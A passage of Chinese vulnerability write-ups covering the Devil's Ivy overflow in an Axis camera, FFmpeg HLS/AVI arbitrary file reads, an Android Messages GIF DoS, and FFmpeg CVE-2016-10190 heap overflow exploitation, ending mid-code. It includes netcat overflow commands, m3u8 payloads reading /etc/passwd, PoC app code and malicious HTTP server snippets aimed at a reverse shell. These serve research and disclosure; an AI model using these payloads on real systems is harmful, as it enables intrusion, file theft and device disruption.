1 天时间，就从汇编代码中找到了这个漏洞。 

 

图 3. 从 libsoap.so 中导入的数据 

三、代码分析 

我们发现 soap_get()函数中有一段代码，将输入数据写入大小为 0x40 字节的栈缓冲区中。

这段代码会在一个循环中检查“?”结束符是否存在，或者会检查某个结尾符是否存在，条件

成立才会跳出循环，而没有去检查已写入 0x40 字节堆缓冲区中的实际字节数。 

 
图 4. soap_get()中存在漏洞的代码 

在上图中，R11 为数据计数器，其值被设置栈缓冲区的大小，R7 为栈缓冲区指针，R12

为从网络中读取的输入字节。如果 R11 计数器的值小于 0，函数会跳过栈缓冲区的写入过程，

但会继续使用 j_soap_getchar()读入数据。如果我们向 wsd 写入足够多的数据，就能将计数

器的值重新恢复到正整数值，这样一来我们就能绕过 0x40 字节数的限制，将数据写入栈中。

这个过程需要好几分钟，但对输入数据的数量没有作限制，并且在 netcat 的帮助下我们很容
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易就能完成这一过程。经过计算，我们发现我们需要发送 0x8000000 个字节才能将计数器重

新恢复到一个正整数值，然后发送 0x40 个字节来填充大小固定的栈缓冲区，在覆盖返回地址

前我们还需要再发送 0x30 个字节。 

我们向 80 端口上的“onvif/device_service”服务发送了一个 POST 命令，进而接触到

漏洞利用点。为了发送 0x80000070 个字节，我们构造了一个文本文件，文件开头为“POST 

/onvif/device_service”，在随后新的一行中使用“<?”来表示 SOAP 消息的开头部分，然后

使用垃圾数据填充文件的剩余部分。我们使用如下命令，通过 netcat 发送这个文件 ： 

nc [camera_ip] 80 < postpwn.txt 

我们需要更多的信息才能确定我们是否能够利用这个漏洞，此时此刻，当我们将全部数据

发送完毕后，目标服务已经没有任何响应了。在 Asix 官方支持中心的指引下，我们通过 ssh

接口成功连接上摄像头。摄像头内置了一个 Web 服务器，我们转到高级菜单页面，编辑

/etc/ocnf.d/ssh，启用了 ssh 功能。重启摄像头后，我们使用已有的用户名及密码成功连入

设备的 ssh 接口。随后我们发现摄像头已经预先安装了 gdbserver，因此我们在本地计算机

上使用 ARM 编译的 gdb 来观察漏洞触发时服务的工作过程。正如我们预期的那样，当服务

处理到我们提供的溢出数据时就会发生崩溃。 
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图 5. wsd 发生崩溃 

如上图所示，此时 wsd 已经崩溃，R4-R11 以及当前的 PC 值都存放在栈上，从输出结果

中可知，我们已经成功使用输入的数值覆盖掉原始值。 

四、代码执行 

我们面临的下一个挑战是获得代码执行，因为栈上是没有执行权限的。与我们最近看过的

其他设备不同，传入的数据没有被存储在可执行堆的固定值上，这增加了一些难度，减缓了我

们的研究进度。 

但是，我们可以根据需要将多个字节写入栈中，并且 libc 处于静态位置。我们使用 libc

中的代码片段构造一个 ROP 链达到执行代码的目的。其中的棘手之处在于，我们不能使用任

何包含低于 0x20、0x3F、0xFF 字节的地址。低于 0x20 的值会被替换为 0x20，0x3F 或 0xFF

的意义是标记缓冲区的结尾。幸运的是，libc 处在一个固定的地址，允许我们在 ROP 链中使

用大量的代码。 
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我们手动去寻找 ROP 地址，使用 IDA 和正则表达式功能进行查找。我们将 ROP 链附加

到我们的大文本文件中，并写了一个脚本来检查是否有坏字符。总而言之，我们花了几天的时

间稳定地整理了包含 19 个地址的长链。我们首先调用 pvalloc()来分配页对齐的内存缓冲区，

然后使用 strcpy()将我们的 shellcode 从栈中的较低层复制到缓冲区中。我们通过调用

mprotect()来标记缓冲区可执行文件，然后跳转到可执行缓冲区以开始执行我们的 shellcode。 

令人惊讶的是，编写 shellcode 是最麻烦的。我们开始 bind 到 socket，并允许远程用户

连接到一个 shell。因为我们被限制在固定的范围内，我们要做的第一件事是 xor 编码大部分

的 shellcode 代码，然后在有限制 shellcode 的位置进行解码。ARM 处理器缓存的指令和数

据，你可以使用 ISB 或 MCR 指令清除。虽然网上目前有一个通过改变 MCR 指令来清除指令

路劲的例子，但是对我们来说没什么效果。我们也了解到，在某些芯片上，由于处理器仅缓存

顺序指令，所以可以简单的分支到你的代码中。但是，也没有什么效果。研究其他的可能性，

还要花费一个小时到几个星期的时间。 

为了编写 value-restricte shellcode，我们很大程度上依赖于在 libc 中执行代码的能力。

我们在我们的代码中设置参数，然后调用 libc 中的函数执行我们需要的系统调用。例如，要

使 socket 系统调用，我们编写了如下代码片段。 

 

基于这点，我们通过利用 Devil's Ivy 漏洞获得了一个代码执行权限和摄像头的交互式

shell。虽然其他设备可以使用 gSOAP 以一个 root 用户运行服务，但此特定设备仅授予 wsd
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用户（非 root 用户）的访问权限。尽管如此，我们能够执行通常只允许 root 权限用户执行的

ONVIF 规范中的命令。权限设置位于摄像头的文本文件中，wsd 用户具有该文件的写权限 。 

sed -i /SystemReboot=8/SystemReboot=f/ access_policy 

关闭连接后，导致 wsd 重新启动并重新加载 access_policy 文件，我们可以发送

SystemReboot 命令并重新启动摄像头。攻击者可能会持续重启摄像头或更改其网络设置，

以防止访问 Feed。 

 

修改权限后发送，部分执行 SystemReboot 命令后的响应 
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相机在重置为出厂设置后会提示输入新密码 

下面为 Axis M3004 安全摄像机上 Devil's Ivy 漏洞的演示视频，你可以访问我们的博客，

了解更多详细信息。 

演示视频： 

http://player.youku.com/embed/XMjkwMjgwOTU0NA==  

  

http://player.youku.com/embed/XMjkwMjgwOTU0NA
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FFmpeg 安全问题讨论 

作者：redrain@360CERT & attacker2001@360CERT 

原文来源：【奇虎 360 技术博客】http://blogs.360.cn/blog/ffmpegs_security_discussion/   

BlackHat 2016 saw the report on vulnerabilities in video services. The authors continued researching this area, 

and are going to tell about new vulnerabilities (logical and binary) and curious ways to exploit them. Look forward 

to hearing real stories about exploiting these vulnerabilities in bug bounty programs! 

– via <Attacks on video converter: a year later> 

在 6 月 27 日 hackerone 公开了一个关于 FFmpeg 本地文件泄漏的报告

(https://hackerone.com/reports/243470) 该报告中描述为 25 日公开的另一个 FFmpeg 本

地文件泄漏相关(https://hackerone.com/reports/242831 )。该漏洞@Emil Lerner 和

@Pavel Cheremushkin 在今年的 phdays conference 中已经披露

(https://www.slideshare.net/phdays/ss-76515896 )。 

360CERT 团队第一时间对该安全问题跟进并将简单预警一个未公开的 FFmpeg 命令执行

漏洞。 

FFmpeg 背景知识和工作流程 

FFmpeg 是一个非常强大且运用广泛的多媒体框架，可以解码，编码，转码，播放几乎所

有格式的多媒体文件。其基本工作流程如下： 

原始的封装视频 –> demux 分离器对封装的视频资源进行分离 –> 得到音频资源和视

频资源 –> 进行解码 –> 得到解压后的音频资源和视频资源 –> 进入 filter 进行编辑处理 –> 

得到处理后的音频资源和视频资源 –> 对资源编码得到转码后的音频资源和视频资源 –> 进

入 mux 混合器进行封装 –> 得到转码封装后的视频 

http://blogs.360.cn/blog/ffmpegs_security_discussion/
https://hackerone.com/reports/242831
https://www.slideshare.net/phdays/ss-76515896
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虽然 FFmpeg 非常强大，但是正因为它强大的格式适配能力，加之各种流媒体协议的多

样性，有可能对 FFmpeg 产生意想不到的安全威胁。 

HLS 介绍 

一般流媒体协议分为两种，一种是通过 HTTP 渐进下载的(如 HLS,flash 渐进式)，另一种

则是 RTSP 形式的实时流媒体协议。 

HLS 是 Apple 提出并推广的，全称为 HTTP Live Streaming。它会把整个视频流分成多

个小的，基于 HTTP 的文件来下载，每次下载一部分，并把视频流元数据存放于 m3u8 文件

中。 

m3u8 本身并不是视频文件，它只会指定应该播放的视频资源，而真正播放的视频资源是

下载下来的 ts 文件，可以把 m3u8 理解为一个配置文件，配置文件中指定了 ts 为播放文件，

一个简单的 m3u8 如下 ： 

#EXTM3U 

#EXT-X-MEDIA-SEQUENCE 

#EXT-X-TARGETDURATION 

#EXT-X-ALLOW-CACHE 

#EXT-X-ENDLIST 

#EXTINF 

redrain.ts        真正播放的视频资源 

当然，这个视频资源也可以是一个远程资源 ： 

#EXTM3U 
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#EXT-X-MEDIA-SEQUENCE 

#EXT-X-TARGETDURATION 

#EXT-X-ALLOW-CACHE 

#EXT-X-ENDLIST 

#EXTINF 

http://www.redrain.sb/test.mp4        远程资源 

知识点复习 

我们还记得去年的 CVE-2016-1897 和 CVE-2016-1898，一个 SSRF 和一个任意文件读

取漏洞，其中 SSRF 用到的就是 m3u8 可以访问获取远程资源的特性。 

CVE-2016-1897 

 

CVE-2016-1898 

因为 FFmpeg 扩展性极强，其中支持一个 Physical concatenation protocol concat: 可

以把多个 url 流合并访问资源 ： 

concat:URL1|URL2|…|URLN 

结合 SSRF，我们可以把 file://读到的内容发送出来 。 

#EXTM3U 

#EXT-X-TARGETDURATION:6 

#EXTINF:10.0, 

concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln 

#EXT-X-ENDLIST 
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之后官方在 2.8.5 版本修复了该漏洞。 

老树开新花 

在上个月的 phdays conference 里，通过视频格式的一个 trick bypass 了厂商对 SSRF

的封堵。 

奇怪的视频格式标准 

在 AVI 视频中，有一个数据块可以定义字幕，叫做 GAB2，位置于 AVI header 中，有趣

的是 m3u8 可以插入到 avi 文件中，且 FFmpeg 依旧会对有文件头#EXTM3U 的 AVi 视频做

HLS 处理。 
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bypass 继续利用 CVE-2016-1898 

所以我们可以通过对含有 GAB2 header 的 AVI 视频中嵌入 m3u8，bypass 厂商对

CVE-2016-1898 的修复 

只需要将之前的 PoC 嵌入 AVI 中，依然可以读取到目标文件 。 

[AVI header GAB2 header] 

#EXTM3U 

#EXT-X-TARGETDURATION:6 

#EXTINF:10.0, 

concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln 

#EXT-X-ENDLIST 

[AVI body footer] 

New Arbitrary File Read 

@Emil Lerner 和@Pavel Cheremushkin 在会议中其实披露了多个 FFmpeg 的漏洞，其

中一个最为有意思的，也就是在 hackerone 公开报告中用到的漏洞，把读取到的文件内容输

出到视频中，从而可以让文件读取可以在无网络环境的情况下利用。 

利用思路如下： 

同样将 m3u8 嵌入到带有 GAB2 的 AVI 视频中，对文件格式检查进行 bypass。 

因为之前说过，m3u8 并不是真正的视频资源，所以如果要播放，必须还要在 m3u8 中

嵌入一个可播放的视频资源，其中有一个古老的媒体格式 XBin，这个媒体格式具备基本显示
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图片，文本的功能，体积非常小，最重要的是，这个媒体格式可编程，如果嵌入到 m3u8 中，

将目标文件作为对象，用 xbin 绘制成为字符，就可以作为合法可播放的视频文件观看了，所

以依次嵌套后，文件内容大致为 ： 

[AVI header] 

[GAB2 header] 

[m3u8 header] 

[XBIN header] 

目标文件 ： 

[XBIN footer] 

[m3u8 footer] 

[AVI footer] 

但 FFmpeg 检查了 body 中的非法字符串，所以无法使用 data:对 XBIN 格式声明 ： 

#EXTM3U 

#EXT-X-MEDIA-SEQUENCE:1 

#EXTINF:1.0, 

data:<format-header> 

#EXTINF:1.0, 

file:///etc/passwd 

#EXTINF:1.0, 

data:<format-footer> 

#EXT-X-ENDLIST 

但是 m3u8 支持 AES128 的 CBC 模式加密，可以在#EXT-X-KEY 中进行设置，所以可以

很简单加密 m3u8 的内容 ： 

… 

#EXTINF:1, 

#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL> 

#EXT-X-BYTERANGE: 16 

/dev/zero 

… 

= AES^-1 CONST(0x00…00) ⊕<VAL> = <FMT HEADER> 

由于 m3u8 单次访问目标文件获取到的内容不完整，为了获得完整的文件内容，还需要

控制#EXT-X-BYTERANGE 设置偏移量，然后重复这一部分 

最终，我们得到的文件应该是这样的 ： 

[AVI header] 
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[GAB2 header] 

[m3u8 header] 

 

{loop} 

#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL>     声明 m3u8 的 AES 加密，将 XBIN 部分加密 

[XBIN header]     被加密 

目标文件 

[XBIN footer]    被加密 

{loop} 

 

[m3u8 footer] 

[AVI footer] 

 

执行后，读取的目标文件内容成功输出在 ffplay 的播放器中： 

 

官方修复 

笔者查看的针对这个漏洞的补丁 

https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28df

edaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7  

主要是在限制后缀名这一行生效 ： 

+    {“allowed_extensions”, “List of file extensions that hls is allowed to access”, 

+        OFFSET(allowed_extensions), AV_OPT_TYPE_STRING, 

+        {.str = 

“3gp,aac,avi,flac,mkv,m3u8,m4a,m4s,m4v,mpg,mov,mp2,mp3,mp4,mpeg,mpegts,ogg,ogv,oga,ts,vob,wav”}, 

+        INT_MIN, INT_MAX, FLAGS}, 

https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7
https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7
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打上补丁后，允许的扩展只有上述部分了。 

Arbitrary Code Execution 

phdays 的 ppt 中结尾有那么一张： 

 

FFmpeg is one of those projects we trust to have RCE everywhere 

事实证明这句话是对的，笔者在去年分析该漏洞和 imagemagick 命令执行后，对格式处

理和媒体处理软件的安全性产生了迷之兴趣，所以不由得多看了一下 FFmpeg 项目，也发现

了一个在处理 mov 视频过程中同样是嵌入数据的命令执行，但在最新的 snapshot 中暂时没

有复现。 

通过老版本演示如下： 

https://youtu.be/SUDV9yfbDFw  

思考 

FFmpeg 作为目前来说最广泛的多媒体框架，它的强大之处毋庸置疑，但是正因为适配了

尽可能多的媒体格式，其中一些沿用至今的古老格式或是一些特殊的标准协议，都可能给

FFmpeg 带来不一样的可能性，而缺乏沙箱的设计有可能还会有更多的利用可能性，关于媒体

处理的服务组件或软件将会暴露出更多问题。 

参考来源 

https://youtu.be/SUDV9yfbDFw
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https://hackerone.com/reports/242831  

https://hackerone.com/reports/226756  

https://hackerone.com/reports/243470  

https://www.slideshare.net/phdays/ss-76515896  

https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Ex

ploiting-Ssrf-In-Video-Converters.pdf  

  

https://hackerone.com/reports/242831
https://hackerone.com/reports/226756
https://hackerone.com/reports/243470
https://www.slideshare.net/phdays/ss-76515896
https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf
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Android 短信应用 DOS 漏洞分析与利用 

作者：任子行 

原文来源：http://mp.weixin.qq.com/s/R212zfXe-nWKWkRHiuYNqA      

0×01 漏洞简介 

9 月 7 号 趋势科技发布了一篇《CVE-2017-0780: 拒绝服务漏洞可以导致 Android 

Message App 崩溃》的文章。目前已经确认该漏洞对最新版本的 Nexus 和 Pixel 设备有影

响，攻击者可以通过发送恶意彩信到受害人手机实现攻击。很多彩信客户端会在启动的时候自

动恢复加载之前的记录，包括彩信，这导致受害人无论是重启手机还是进入安全模式都无法解

除恶意彩信对 Message app 的影响，自动成为一个可持续的漏洞。 该漏洞目前针对 Android 

6.0 — 8.0 版本均有影响。 

漏洞代码在 AOSP 第三方扩展模块 framesequence 的 FrameSequenceDrawable 类

的 acquireAndValidateBitmap 函数。在函数内因为没有捕获 Java-level Null Pointer 

Exceptions 异常，从而会导致此异常沿着调用栈一直向上回溯直到被捕获处理，如果在 APP

内部也没有处理，最终会被系统处理，通常系统会让 APP Crash。 

0×02 漏洞分析 

代码如下 ： 

public FrameSequenceDrawable(FrameSequence frameSequence, BitmapProvider bitmapProvider) {  

    if (frameSequence == null || bitmapProvider == null) throw new IllegalArgumentException();  

  

    mFrameSequence = frameSequence;  

    mFrameSequenceState = frameSequence.createState();  

    final int width = frameSequence.getWidth();  

    final int height = frameSequence.getHeight();  

  

    mBitmapProvider = bitmapProvider;  

    mFrontBitmap = acquireAndValidateBitmap(bitmapProvider, width, height);  

    mBackBitmap = acquireAndValidateBitmap(bitmapProvider, width, height); 

    mSrcRect = new Rect(0, 0, width, height);  

    mPaint = new Paint();  

    mPaint.setFilterBitmap(true);  

  

http://mp.weixin.qq.com/s/R212zfXe-nWKWkRHiuYNqA
http://androidxref.com/7.1.1_r6/s?refs=acquireAndValidateBitmap&project=frameworks
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    mFrontBitmapShader  

        = new BitmapShader(mFrontBitmap, Shader.TileMode.CLAMP, Shader.TileMode.CLAMP);  

    mBackBitmapShader  

        = new BitmapShader(mBackBitmap, Shader.TileMode.CLAMP, Shader.TileMode.CLAMP);  

  

    mLastSwap = 0;  

  

    mNextFrameToDecode = -1;  

    mFrameSequenceState.getFrame(0, mFrontBitmap, -1);  

    initializeDecodingThread();  

} 

Android 使用 FrameSequenceDrawable 类来展示 gif 文件，首先要基于 GIF 文件构

造 Bitmap 对象，然后 FrameSequenceDrawable 类展示 GIF。 

FrameSequenceDrawable 构造函数中会调用 acquireAndValidateBitmap 创建 

Bitmap 对象。 ： 

private static Bitmap acquireAndValidateBitmap(BitmapProvider bitmapProvider,  

        int minWidth, int minHeight) {  

    Bitmap bitmap = bitmapProvider.acquireBitmap(minWidth, minHeight);   // 实现在应用中，可能返回 null  

  

    if (bitmap.getWidth() < minWidth  

            || bitmap.getHeight() < minHeight  

            || bitmap.getConfig() != Bitmap.Config.ARGB_8888) {  

        throw new IllegalArgumentException("Invalid bitmap provided");  

    }  

  

    return bitmap;  

} 

下面这个 class 可以在任何 APP 中自定义。 ： 

private class CheckingProvider implements FrameSequenceDrawable.BitmapProvider {  

         

       HashSet<Bitmap> mBitmaps = new HashSet<Bitmap>();  

       @Override  

         

       public Bitmap acquireBitmap(int minWidth, int minHeight) {  

           Bitmap bitmap =  

                   Bitmap.createBitmap(minWidth + 1, minHeight + 4, Bitmap.Config.ARGB_8888);  
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           mBitmaps.add(bitmap);  

           return bitmap;  

       }  

}  

bitmapProvider 是 FrameSequenceDrawable.BitmapProvider 的子类对象，Sample 

代码中中实现一个 class， 重写 BitmapProvider 的抽象函数 acquireBitmap。 

构造 POC 可以 直接在 此函数中返回 null, 因为在 acquireAndValidateBitmap 中没

有检测 bitmap 对象是否为 null ，而且此函数也没有 catch 空指针异常，最终在调用 

bitmap 对象时 会导致 使用此模块（android-common-framesequence）的上层应用 

crash。 

当 FrameSequence 尝试从格式不正确的 GIF 构建位图时，我们看到“acquireBitmap”

函数可能会失败并返回 null。 因此，如果有变量引用此空对象，则会触发 NPE。 

0×03 构造 Exploit 

exp-1: 

通过构造特殊的 gif 文件验证漏洞。 

 

趋势给的 demo 截图将 width 和 height 设置为 0xffff 可以触发漏洞。 

exp-2: 

通过构造一个 app 验证漏洞。 
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此方法可以直接从 aosp 代码中获取 FrameSequenceSample 案例，修改

FrameSequenceTest.java。 ： 

public class FrameSequenceTest extends Activity {   

  

…  

private class CheckingProvider implements FrameSequenceDrawable.BitmapProvider {  

        HashSet<Bitmap> mBitmaps = new HashSet<Bitmap>();  

        @Override  

        public Bitmap acquireBitmap(int minWidth, int minHeight) {  

            return null;  

            // Bitmap bitmap =  

            //         Bitmap.createBitmap(minWidth + 1, minHeight + 4, Bitmap.Config.ARGB_8888);  

            // mBitmaps.add(bitmap);  

            // return bitmap;  

        }  

    …  

}  

…  

}  

0×04 漏洞利用 

笔者的测试环境： 

Nokia 6 手机 

型号 TA-1000 

Android 7.1.1 

Android Messages APP  

利用条件： 

目标机的手机号码 

目标机 Android 版本 

通过构造恶意的 gif 从一台手机中发送到目标机，目标机上的 Android Messages App 

会自动接受，并且导致应用卡死。 

https://play.google.com/store/apps/details?id=com.google.android.apps.messaging
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0×05 相关的移动平台 GIF/PNG 解析器导致的 RCE 与 DoS 漏洞 

通过整理 发现了 3 个关注过的 gif 的远程漏洞。 

CVE-2017-0780 Android DOS 漏洞 
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CVE-2017-2416 iOS RCE 漏洞 

CVE-2017-0478 Android FrameSequence_webp 漏洞 

CVE-2017-0780 和 CVE-2017-2416 漏洞的相似性非常高，都是在处理 GIF 文件中

LOGICALSCREENDESCRIPTOR 段的 Width 和 Height 字段时出现错误，这 2 个字段是 GIF

图片的宽度和高度。只是在 Android 平台对应的漏洞在 Java 层通过 NPE 造成 APP Crash，

在 iOS 平台漏洞在 GifPlugin 模块中，因为 width 和 Height 对应 short 类型攻击者可以设

置为负数造成内存越界访问，精心构造文件可以造成远程代码执行利用。 

Poc 可参考: 

http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-0780-deni

al-service-vulnerability-android-messages-app/ 

https://blog.flanker017.me/cve-2017-2416-gif-rce-chn/ 

https://github.com/JiounDai/CVE-2017-0478 

0×06 参考： 

http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-0780-deni

al-service-vulnerability-android-messages-app/ 

欢迎对本篇文章感兴趣的同学扫描任子行公众号二维码，一起交流学习 

 

http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-0780-denial-service-vulnerability-android-messages-app/
http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-0780-denial-service-vulnerability-android-messages-app/
https://blog.flanker017.me/cve-2017-2416-gif-rce-chn/
https://github.com/JiounDai/CVE-2017-0478
http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-0780-denial-service-vulnerability-android-messages-app/
http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-0780-denial-service-vulnerability-android-messages-app/
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FFmpeg Http 协议 heap buffer overflow 漏洞分析及利用 

作者：蚂蚁金服巴斯光年安全实验室 

原文链接：【阿里云】https://yq.aliyun.com/articles/213439  

1. 背景 

FFmpeg 是一个著名的处理音视频的开源项目，非常多的播放器、转码器以及视频网站都

用到了 FFmpeg 作为内核或者是处理流媒体的工具。2016 年末 paulcher 发现 FFmpeg 三

个堆溢出漏洞分别为 CVE-2016-10190、CVE-2016-10191 以及 CVE-2016-10192。本文对

CVE-2016-10190 进行了详细的分析，是一个学习如何利用堆溢出达到任意代码执行的一个

非常不错的案例。 

2. 漏洞分析 

FFmpeg 的 Http 协议的实现中支持几种不同的数据传输方式，通过 Http Response 

Header 来控制。其中一种传输方式是 transfer-encoding: chunked， 表示数据将被划分为

一个个小的 chunk 进行传输，这些 chunk 都是被放在 Http body 当中，每一个 chunk 的

结构分为两个部分，第一个部分是该 chunk 的 data 部分的长度，十六进制，以换行符结束，

第二个部分就是该 chunk 的 data，末尾还要额外加上一个换行符。下面是一个 Http 响应

的示例。关于 transfer-encoding: chunked 更加详细的内容可以参考这篇文章 ： 

HTTP/1.1 200 OK 

Server: nginx 

Date: Sun, 03 May 2015 17:25:23 GMT 

Content-Type: text/html 

Transfer-Encoding: chunked 

Connection: keep-alive 

Content-Encoding: gzip 

 

1f 

�H���W(�/�I�J 

 

0 

漏洞就出现在 libavformat/http.c 这个文件中，在 http_read_stream 函数中，如果是以 

chunk 的方式传输，程序会读取每个 chunk 的第一行，也就是 chunk 的长度那一行，然

https://yq.aliyun.com/articles/213439
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190
https://imququ.com/post/transfer-encoding-header-in-http.html
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后调用 s->chunksize = strtoll(line, NULL, 16);来计算 chunk size。chunksize 的类型是

int64_t，在下面调用了 FFMIN 和 buffer 的 size 进行了长度比较，但是 buffer 的 size 也

是有符号数，这就导致了如果我们让 chunksize 等于-1, 那么最终传递给 http_buf_read 函

数的 size 参数也是-1。 相关代码如下 ： 

s->chunksize = strtoll(line, NULL, 16); 

 

                av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n", 

                        s->chunksize); 

 

                if (!s->chunksize) 

                    return 0; 

        } 

        size = FFMIN(size, s->chunksize);//两个有符号数相比较 

    } 

//... 

    read_ret = http_buf_read(h, buf, size);//可以传递一个负数过去 

而在 http_buf_read 函数中会调用 ffurl_read 函数，进一步把 size 传递过去。然后经

过一个比较长的调用链，最终会传递到 tcp_read 函数中，函数里调用了 recv 函数来从 socket 

读取数据，而 recv 的第三个参数是 size_t 类型，也就是无符号数，我们把 size 为-1 传递给

它的时候会发生有符号数到无符号数的隐式类型转换，就变成了一个非常大的值 0xffffffff， 从

而导致缓冲区溢出 ： 

static int http_buf_read(URLContext *h, uint8_t *buf, int size) 

{ 

    HTTPContext *s = h->priv_data; 

    int len; 

    /* read bytes from input buffer first */ 

    len = s->buf_end - s->buf_ptr; 

    if (len > 0) { 

        if (len > size) 

            len = size; 

        memcpy(buf, s->buf_ptr, len); 

        s->buf_ptr += len; 

    } else { 

        //... 
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        len = ffurl_read(s->hd, buf, size);//这里的 size 是从上面传递下来的 

 

static int tcp_read(URLContext *h, uint8_t *buf, int size) 

{ 

    TCPContext *s = h->priv_data; 

    int ret; 

 

    if (!(h->flags & AVIO_FLAG_NONBLOCK)) { 

        //... 

    } 

    ret = recv(s->fd, buf, size, 0); //最后在这里溢出 

可以看到，由有符号到无符号数的类型转换可以说是漏洞频发的重灾区，写代码的时候稍

有不慎就可能犯下这种错误，而且一些隐式的类型转换编译器并不会报 warning。如果需要

检测这样的类型转换，可以在编译的时候添加-Wconversion -Wsign-conversion这个选项。 

官方修复方案 

官方的修复方法也比较简单明了，把 HTTPContext 这个结构体中所有和 size，offset 有

关的字段全部改为 unsigned 类型，把 strtoll 函数改为 strtoull 函数，还有一些细节上的调整

等等。这么做不仅补上了这次的漏洞，也防止了类似的漏洞不会再其他的地方再发生。放上官

方补丁的链接。 

3. 利用环境搭建 

漏洞利用的靶机环境 

操作系统：Ubuntu 16.04 x64 

FFmpeg 版本：3.2.1 (参照 https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu

编译， 需要把官方教程中提及的所有 encoder 编译进去，最好是静态编译。） 

4. 利用过程 

这次的漏洞需要我们搭建一个恶意的 Http Server，然后让我们的客户端连上 Server，

Server 把恶意的 payload 传输给 client，在 client 上执行任意代码，然后反弹一个 shell 

到 Server 端。 

首先我们需要控制返回的 Http header 中包含 transfer-encoding: chunked 字段 ： 

headers = """HTTP/1.1 200 OK 

https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa
https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu
https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu
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Server: HTTPd/0.9 

Date: Sun, 10 Apr 2005 20:26:47 GMT 

Transfer-Encoding: chunked 

 

""" 

然后我们控制 chunk 的 size 为-1, 再把我们的 payload 发送过去 ： 

client_socket.send('-1\n') 

#raw_input("sleep for a while to avoid HTTPContext buffer problem!") 

sleep(3) #这里 sleep 很关键，后面会解释 

client_socket.send(payload) 

下面我们开始考虑 payload 该如何构造，首先我们使用 gdb 观察程序在 buffer 

overflow 的时候的堆布局是怎样的，在我的机器上很不幸的是可以看到被溢出的 chunk 正

好紧跟在 top chunk 的后面，这就给我们的利用带来了困难。接下来我先后考虑了三种思路： 

思路一：覆盖 top chunk 的 size 字段 

这是一种常见的 glibc heap 利用技巧，是通过把 top chunk 的 size 字段改写来实现

任意地址写，但是这种方法需要我们能很好的控制 malloc 的 size 参数。在 FFmpeg 源代

码中寻找了一番并没有找到这样的代码，只能放弃。 

思路二：通过 unlink 来任意地址写 

这种方法的条件也比较苛刻，首先需要绕过 unlink 的 check，但是由于我们没有办法 

leak 出堆地址，所以也是行不通的。 

思路三：通过某种方式影响堆布局，使得溢出 chunk 后面有关键结构体 

如果溢出 chunk 之后有关键结构体，结构体里面有函数指针，那么事情就简单多了，我

们只需要覆盖函数指针就可以控制 RIP 了。纵观溢出时的整个函数调用栈， 

avio_read->fill_buffer->io_read_packet->…->http_buf_read，avio_read 函数和

fill_buffer 函数里面都调用了 AVIOContext::read_packet 这个函数。我们必须设法覆盖

AVIOContext 这个结构体里面的 read_packet 函数指针，但是目前这个结构体是在溢出 

chunk 的前面的，需要把它挪到后面去。那么就需要搞清楚这两个 chunk 被 malloc 的先

后顺序，以及 malloc AVIOContext 的时候的堆布局是怎么样的 ： 

int ffio_fdopen(AVIOContext **s, URLContext *h) 

{ 

    //... 
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    buffer = av_malloc(buffer_size);//先分配 io buffer, 再分配 AVIOContext 

    if (!buffer) 

        return AVERROR(ENOMEM); 

 

    internal = av_mallocz(sizeof(*internal)); 

    if (!internal) 

        goto fail; 

 

    internal->h = h; 

 

    *s = avio_alloc_context(buffer, buffer_size, h->flags & AVIO_FLAG_WRITE, 

                            internal, io_read_packet, io_write_packet, io_seek); 

在 ffio_fdopen 函数中可以清楚的看到是先分配了用于 io 的 buffer(也就是溢出的 

chunk），再分配 AVIOContext 的。程序在 malloc AVIOContext 的时候堆上有一个 large 

free chunk，正好是在溢出 chunk 的前面。那么只要想办法在之前把这个 free chunk 给填

上就能让 AVIOContext 跑到溢出 chunk 的后面去了。由于 http_open 是在 AVIOContext 

被分配之前调用的，（关于整个调用顺序可以参考雷霄华的博客整理的一个 FFmpeg 的总的

流程图）所以我们可在 http_read_header 函数里面寻找那些能够影响堆布局的代码，其中 

Content-Type 字段就会为字段值 malloc 一段内存来保存。所以我们可以任意填充

Content-Type 的值为那个 free chunk 的大小，就能预先把 free chunk 给使用掉了。修改

后的 Http header 如下 ： 

headers = """HTTP/1.1 200 OK 

Server: HTTPd/0.9 

Date: Sun, 10 Apr 2005 20:26:47 GMT 

Content-Type: %s 

Transfer-Encoding: chunked 

Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 

 

""" % ('h' * 3120) 

其中 Set-Cookie 字段可有可无，只是会影响溢出 chunk 和 AVIOContext 的距离，不

会影响他们的前后关系。 

这之后就是覆盖 AVIOContext 的各个字段，以及考虑怎么让程序走到自己想要的分支了。

经过分析我们让程序再一次调用 fill_buffer，然后走到 s->read_packet 那一行是最稳妥的。

http://img.my.csdn.net/uploads/201503/12/1426134989_1189.jpg
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调试发现走到那一行的时候我们可以控制的有 RIP, RDI, RSI, RDX, RCX 等寄存器，接下来就

是考虑怎么 ROP 了 ： 

static void fill_buffer(AVIOContext *s) 

{ 

    int max_buffer_size = s->max_packet_size ? //可控 

